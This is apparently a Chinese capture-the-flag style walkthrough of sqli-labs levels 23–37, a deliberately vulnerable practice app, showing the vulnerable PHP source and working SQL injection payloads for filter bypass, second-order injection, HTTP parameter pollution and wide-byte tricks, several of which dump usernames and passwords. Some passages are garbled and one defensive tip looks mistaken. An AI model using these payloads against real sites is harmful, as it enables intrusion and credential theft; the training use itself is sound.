sqli-labs--23-37关通关指南(详细)

文章目录

    • Less-23
    • Less-24
    • Less-25
    • Less-25a
    • Less-26
    • Less-26a
    • Less-27
    • Less-27a
    • Less-28
    • Less-28a
    • Less-29
      • 背景知识:
      • 正题:
    • Less-30
    • Less-31
    • Less-32
    • Less-33
    • Less-34
    • Less-35
    • Less-36
    • Less-37
    • 总结

前言:本节开始对advanced injections关卡进行通关记录,23-37关

在这里补充一下信息收集的命令:

  • @@version 数据库版本
  • @@datadir 数据库数据路径
  • @@basedir 数据库路径

Less-23

1、这关查看源码发现,对#、–注释符进行了过滤:

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

先输入?id=1’试试水,发现回显报错,从报错发现是’'闭合方式,构造payload:

?id=-1’ union select 1,@@basedir,'3

回显出数据库路径,注入成功:

image-20211111143533534

sqli-labs--23-37关通关指南(详细)_第1张图片

2、改变查询语句,例如将@@basedir改为select database()、select group_concat(table_name) from information_schema.tables where table_schema=database()等,即可通关。

image-20211111144155530

sqli-labs--23-37关通关指南(详细)_第2张图片


Less-24

该关卡为二次排序注入,这是第一次碰到该类型的注入。在此解释一下二次排序注入:

二次排序注入也称为存储型的注入,就是将可能导致 sql 注入的字符先存入到数据

库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。

二次排序注入思路

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。

​ 2.服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库 中,保存的 数据信息的主要作用是为应用程序执行其他功能提供原始输入数 据并对客户端请求做出响应。

  1. 黑客向服务端发送第二个与第一次不相同的请求数据信息。

  2. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。

  3. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

此例子中,我们的思路:

  1. 先注册一个用户名为admin#’
  2. 登录该账号
  3. 修改该账号的密码,此时修改的就是admin的密码,就实现了修改原始数据库的操作

1、注册用户名为admin’#的账号,密码设为123456:

sqli-labs--23-37关通关指南(详细)_第3张图片

查询数据库,发现多了admin’#的用户:

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 15 | admin'#  | 123456     |
+----+----------+------------+
14 rows in set (0.00 sec)

可能这里会有人提出疑惑,#不是应该当做注释符吗,为什么会写进来?咱们回去看源码就清楚了:

输入新用户信息的文件:new_user.php
sqli-labs--23-37关通关指南(详细)_第4张图片

创建新用户的文件:login_create.php

sqli-labs--23-37关通关指南(详细)_第5张图片

image-20211112175845604

从这两个文件,我们发现admin’#被当做字符串传送,insert的插入语句里也是被当做字符串,所以被写了进去。

2、登录admin’#

sqli-labs--23-37关通关指南(详细)_第6张图片

3、修改密码为123

sqli-labs--23-37关通关指南(详细)_第7张图片

查询数据库,发现admin的密码被修改为了123:

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | 123        |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 15 | admin'#  | 123456     |
+----+----------+------------+
14 rows in set (0.00 sec)

为什么这里会修改admin的密码,而不是admin’#的密码,我们看源代码的更新密码语句:

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

说明username存在sql注入点,改为admin’#时,后面的内容被注释掉,实现了admin的密码修改:

UPDATE users SET PASSWORD='$pass' where username='$username'#' and password='$curr_pass'

Less-25

这关是过滤or、and,如何绕过过滤,下面提供几种思路:

  1. 大小写变形:Or,OR,oR
  2. 编码,hex,urlencode
  3. 添加注释/or/
  4. 利用符号 && ||

这里用第四种方法进行:

http://localhost/sqli-labs/Less-25/?id=1’ || extractvalue(1,concat(’~’,(select database()),’~’))–+

sqli-labs--23-37关通关指南(详细)_第8张图片

剩下不再赘述。


Less-25a

这关跟25关相似,是数值型注入,并且没有报错,那么我们可以使用联合注入与延时注入。这里用联合注入:

http://localhost/sqli-labs/Less-25a/?id=-1 union select 1,(select database()),3

sqli-labs--23-37关通关指南(详细)_第9张图片

剩下不再赘述。


Less-26

这关是要绕过空格与注释符,对于绕过空格有较多的方法:

%09 TAB 键(水平)

%0a 新建一行

%0c 新的一页

%0d return 功能

%0b TAB 键(垂直)

%a0 空格

然鹅这几种方法都在window上翻车了,都被过滤掉了,若有大佬知情,麻烦赐教本菜鸡。听说在linux可行,但读者还没试过。所以在这里就不用这种方法绕过,试了一下可以用报错注入:

http://localhost/sqli-labs/Less-26/?id=-1’ || extractvalue(1,concat(’’,database(),’’)) || ’

sqli-labs--23-37关通关指南(详细)_第10张图片

再试一下爆表:
http://localhost/sqli-labs/Less-26/?id=-1’ || extractvalue(1,concat(’’,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),’’)) || ’

sqli-labs--23-37关通关指南(详细)_第11张图片

这里要注意的是也对or、and进行了过滤,所以information要改成infoorrmation。

剩下不再赘述。


Less-26a

这关与26关的区别是,字符串是以(’’)的方式进行闭合的,且不显示报错信息,我用了延时注入:
http://localhost/sqli-labs/Less-26/?id=-1’(union(if(left(database(),1)>‘a’,sleep(5),1)))||’

一步一步进行爆破,不再赘述。


Less-27

本关多了对select、union关键字的过滤,用大小写混用表示select、union,利用报错注入,这里爆出表:

http://localhost/sqli-labs/Less-27/?id=-1’ || extractvalue(1,concat(’’,(sElect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),’’)) || ’

sqli-labs--23-37关通关指南(详细)_第12张图片

剩下步骤以此类推。


Less-27a

本关与27关的区别是用了"“闭合字符串,且没有报错回显,故可利用时间延时注入:
http://localhost/sqli-labs/Less-26/?id=-1”(uNion(if(left(database(),1)>‘a’,sleep(5),1)))||"


Less-28

很奇怪,这关对%0a没过滤掉,也就是这关咱们可以用%0a代替空格,这下舒服多了。看了题目,这关应该是(’’)的闭合方式,再查看源码,发现对select、union的过滤方式是联合在一起:

$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

直接上payload:

http://localhost/sqli-labs/Less-28/?id=-1’)%0a union(select %0a 1,2,3 )||('1

发现显示位,再改变查询语句:

http://localhost/sqli-labs/Less-28/?id=-1’)%0a union(select %0a 1,(select database()),3 )||('1

以此类推。


Less-28a

本关虽然题目说是盲注,但还是能回显具体信息,有两个回显位。查看源码发现只对select与union的联合方式进行了过滤,并且是(’’)的方式闭合的,用联合查询注入:

http://localhost/sqli-labs/Less-28a/?id=-1’) union(select 1,(select database()),3)–+

sqli-labs--23-37关通关指南(详细)_第13张图片

表名、列名以此类推,最后贴一个爆破用户名以及密码的payload:

http://localhost/sqli-labs/Less-28a/?id=-1’) union(select 1,(select group_concat(username,’-’,password) from users),3)–+

sqli-labs--23-37关通关指南(详细)_第14张图片


Less-29

背景知识:

这里涉及到服务器两层架构:

sqli-labs--23-37关通关指南(详细)_第15张图片

服务器端有两个部分:第一部分为Tomcat为引擎的jsp型服务器,第二部分为Apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:

client能直接访问Tomcat服务器,然后Tomcat服务器再向Apache服务器请求数据。数据返回路径则相反。

本关涉及到Tomcat与Apache对url参数的不同解析,例如对于index.php?id=1&id=2:

  • Tomcat(jsp)解析第一个参数,即显示id=1的内容
  • Apache(php)解析最后一个参数,即显示id=2的内容

在这里顺带贴一个大多数服务器对参数解析的图:

sqli-labs--23-37关通关指南(详细)_第16张图片

此处我们想一个问题:index.jsp?id=1&id=2 请求,针对第一张图中的服务器配置情况,客户端请求首先过 tomcat,tomcat 解析第一个参数,接下来 tomcat 去请求 apache(php)服务器,apache 解析最后一个参数。那最终返回客户端的应该是哪个参数?

Answer:此处应该是 id=2 的内容,应为时间上提供服务的是 apache(php)服务器,返回的数据也应该是 apache 处理的数据。而在我们实际应用中,也是有两层服务器的情况, 那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一 个 WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。该用法就是 HPP(HTTP Parameter Pollution),http 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。

正题:

先看下本关的index.php文件,可以看出有回显功能,其他平平无奇。

重点在login.php文件上:

if(isset($_GET['id']))
{
	$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
	$id1=java_implimentation($qs);
	$id=$_GET['id'];
	//echo $id1;
	whitelist($id1);
	
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);
	
	
	

// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row)
	{
	  	echo "";	
	  	echo 'Your Login name:'. $row['username'];
	  	echo "
"
; echo 'Your Password:' .$row['password']; echo "
"; } else { echo ''; print_r(mysql_error()); echo ""; } } else { echo "Please input the ID as parameter with numeric value";}
  • $_SERVER[‘QUERY_STRING’]是用来获取当前url,例如:

    ​ 对于http://www.xxx.com/index.php?p=222&q=u,KaTeX parse error: Expected 'EOF', got '&' at position 33: …RING"] = “p=222&̲q=u”。可知,_SERVER[“QUERY_STRING”]获取的是?后面的值。

  • java_implimentation函数将传入的字符串以&分隔,再识别前两个字符,若为“id“,则返回后面30个字符。

    function java_implimentation($query_string)
    {
    	$q_s = $query_string;
    
    	//explode函数将$q_s以&分隔,输出数组
    	$qs_array= explode("&",$q_s);
    
    
    	foreach($qs_array as $key => $value)
    	{
    		$val=substr($value,0,2);
    		if($val=="id")
    		{
    			$id_value=substr($value,3,30); 
    			return $id_value;
    			echo "
    "
    ; break; } } }
  • whitelist函数为白名单过滤的功能,检查输入是否全为数字,这里可以看做一个简单的web防火墙(WAF,web application firewall),若不是则跳转到hacked.php。

    function whitelist($input)
    {
    	$match = preg_match("/^\d+$/", $input);
    	if($match)
    	{
    		//echo "you are good";
    		//return $match;
    	}
    	else
    	{	
    		header('Location: hacked.php');
    		//echo "you are bad";
    	}
    }
    

    注入思路:

    因为java_implication只过滤第一个id(),若我们的payload设为?id=1&id=2xxx,则可在第二个id处注入,绕过检测。因为后端Apache只会解析最后一个参数,所以后端用 i d = id= id=_GET[‘id’]获取到id参数为第二个,完美。

    构造payload:

    http://localhost/sqli-labs/Less-29/?id=1&id=-2’ union select 1,2,(select group_concat(username,’-’,password) from users)–+

    sqli-labs--23-37关通关指南(详细)_第17张图片


Less-30

这关与less-29没啥区别,就多了"$id"闭合方式,没有报错回显,直接上payload:

http://localhost/sqli-labs/Less-30/?id=1&id=-2" union select 1,2,(select group_concat(username,’-’,password) from users)–+


Less-31

这关也一样,多了("$id")闭合方式,增加报错回显,直接上payload:

http://localhost/sqli-labs/Less-31/?id=1&id=-2)" union select 1,2,(select group_concat(username,’-’,password) from users)–+


Less-32

查看源代码,这里多了check_addslashes函数,对/、/’、/"进行了转移,故无法按之前那样进行引号注入。这里采取宽字节注入,宽字节注入源于程序员设置MySQL连接时的错误配置,如下:

set character_set_client=gbk

这样的配置会引发编码转换从而导致绕过某些防护实现注入漏洞。具体分析一下原理:

  1. 正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的’,就会被转义为’;
  2. 若存在宽字节注入,输入%df%27时,经过单引号的转义变成了%df%5c%27,\的url编码为%5c。之后再数据库查询语句进行GBK多字节编码,即一个中文占用两个字节,一个英文同样占用两个字节且在汉字编码范围内两个编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成汉字"運",单引号逃逸出来,从而绕过转义造成注入漏洞。
  3. mysql如何判断一个字符是不是一个汉字,根据gbk编码,第一个字节的ascii码大于128,基本上就行,若不用%df而用%a1(10000001=129)也可以

现在基本都会将mysql的连接配置设置为:

set character_set_client=binary

这样就不存在宽字节或多字节的问题了,所有数据以二进制的形式传递,就能有效避免宽字节注入。

关于魔术引号、addslashes的防御以及绕过参考此文章:http://blog.51cto.com/wt7315/1931667

直接上payload:
http://localhost/sqli-labs/Less-32/?id=1&id=-2%df’ union select 1,2,(select group_concat(username,password+SEPARATOR+0x3c62723e) from users)–+

sqli-labs--23-37关通关指南(详细)_第18张图片


Less-33

查看源码,这里调用了check_addslashes函数:

$id=check_addslashes($_GET['id']);

预定义字符为:单引号(’)、双引号("")、反斜杠(\)

依然可以用宽字节实现绕过:

http://localhost/sqli-labs/Less-33/?id=1&id=-2%df’ union select 1,2,(select group_concat(username,password+SEPARATOR+0x3c62723e) from users)–+


Less-34

这关为post类型注入,与33关没什么区别,这关可以用宽字节注入,也可将utf-8转换为utf-16或utf-32,例如将’ 转为utf-16为�’,我们可以借助这个方式进行注入。

可以使用linux自带的iconv命令进行utf的编码转换:

syy@SYY:/$ echo \'|iconv -f utf-8 -t utf-16
��'

用burpsuite抓包,进行注入,payload:

uname=-1�’ union select 1,(select group_concat(username,password+SEPARATOR+0x3c62723e) from users)#


Less-35

这关与33关相似,区别在于id没被’'闭合,属于数值型注入,所以用不到‘,直接上payload:

http://localhost/sqli-labs/Less-35?id=-1 union select 1,2,(select group_concat(username,password+SEPARATOR+0x3c62723e) from users)#


Less-36

查看源码,发现用了,mysql_real_escape_string函数进行符号转义,受影响的字符为:

\x00、\r、\n、\、’、"、\x1a

如果成功,则返回被转义的字符。如果失败,则返回FALSE。但是mysql我们并没有设置成gbk,还是可以用宽字节注入的方法实现绕过,上payload:

http://localhost/sqli-labs/Less-36/?id=1&id=-2%df’ union select 1,2,(select group_concat(username,password+SEPARATOR+0x3c62723e) from users)–+

注意:

在使用mysql_real_escape_string时,如何能够安全的防护这种问题,需要将mysql设置为gbk即可:

Mysql_set_charset('gbk','$coon')

Less-37

本关与34关大致相同,区别在于这关使用了mysql_real_escape_string函数进行转义,但是原理是一样的。都可以通过宽字节注入、将utf-8转换为utf-16或utf-32的方法直接在burpsuite上改包发送,在此不再赘述。


总结

这些关卡大多数都对输入参数进行了过滤操作,如过滤特殊字符、空格、关键字等,或者对特殊字符进行转义,如对反斜杠,引号转义。绕过的方法有如下几种:

  1. 大小写变形
  2. 编码:hex、URLcode
  3. 符号代替:&&、||
  4. 宽字节注入:%df,前提是gbk编码
  5. utf-8转为utf-16或utf-32,可借助于inux平台下的iconv命令转换

你可能感兴趣的:(sqli-labs闯关,sql,网络安全)